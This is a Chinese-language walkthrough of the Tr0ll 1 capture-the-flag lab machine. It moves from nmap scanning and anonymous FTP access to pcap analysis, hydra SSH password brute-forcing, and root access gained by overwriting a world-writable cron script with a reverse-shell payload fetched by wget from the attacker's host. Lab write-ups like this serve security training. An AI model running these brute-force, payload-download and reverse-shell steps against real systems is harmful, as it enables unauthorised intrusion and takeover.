Tr0ll 1 Walkthrough
Tr0ll 1 Walkthrough
Box Info
官网在这里:Tr0ll: 1
The Hack
确定存活的主机
sudo nmap -sn 192.168.186.0/24 |
对目标 IP 进行端口发现
sudo nmap -p- 192.168.186.147 |
对开放的端口进行应用版本发现
sudo nmap -p 21,22,80 -A 192.168.186.147 |
发现 FTP、SSH 和 HTTP 服务
先来看 FTP 端口,使用 FTP 客户端连接,使用 anonymous/password 进行匿名登陆
┌──(kali㉿kali)-[~] |
使用 ls 列举文件,发现 pcap 文件,下载至本地
ls |
使用 wireshark 打开 pcap 文件,发现是 10.0.0.6 和 10.0.0.12 之间的交互,以下是 10.0.0.6 发送的所有请求
USER anonymous |
10.0.0.6 使用 TYPE I 设置传输模式为二进制模式后,使用 PORT 命令主动连接 10.0.0.12 的 51884 端口进行数据传输,下载 secret_stuff.txt 文件
在 wireshark 读取到 secret_stuff.txt 文件内容
意思是很接近 sup3rs3cr3tdirlol 目录了,直接访问,发现可疑文件
下载至本地,赋予可执行权限并执行
chmod +x roflmao |
显示了个地址没让我们进一步访问
发现两个文件夹
good_luck 中存放的是用户名
this_folder_contains_the_password 存放的是 Pass.txt
由于存在 FTP 和 SSH 两个服务可以使用用户名登陆,先尝试 FTP
nc -nv 192.168.186.147 21 |
FTP 服务端只允许 anonymous 登陆,看来用户名字典是属于 SSH 服务的
┌──(kali㉿kali)-[~/Desktop] |
将 Good_job_:)
存储在 pass.txt 中,使用 hydra 爆破 SSH 密码
hydra -L user.txt -P pass.txt -f -t 2 -Vv ssh://192.168.186.147 |
发现最后一个连接被拒绝,看起来服务端对 SSH 的请求数量做了限制
由于用户名刚好是 10 个,将它们分成 user1 和 user2 ,再分别进行爆破,结果还是一样
试来试去都不行,唯一没试过的就是 Pass.txt
这个文件名当作密码
hydra -L user.txt -p Pass.txt 192.168.186.147 ssh |
结果密码还真是 Pass.txt
,有点脑洞
使用 SSH 远程登录
接下来就是提权,枚举一遍后,发现如下权限为 777 的文件:
$ find / -perm 777 -type f 2>/dev/null |
在 /var/log/cronlog 中可以发现 /lib/log/cleaner.py 文件的调度任务
$ cat /var/log/cronlog |
读取 /lib/log/cleaner.py 文件,发现是定期删除 /tmp 目录下文件
$ cat /lib/log/cleaner.py |
在本机制作 cleaner.py ,将反弹 shell 语句写入,通过 http 服务上传并覆盖 /lib/log/cleaner.py
wget http://<IP>/cleaner.py -O /lib/log/cleaner.py |
开启 nc 监听,一会后就能获得反弹回来的 root shell ,并获得 proof.txt